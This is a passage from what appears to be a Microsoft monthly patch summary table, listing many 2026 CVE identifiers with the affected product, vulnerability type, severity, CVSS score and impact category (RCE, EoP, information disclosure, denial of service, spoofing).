Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  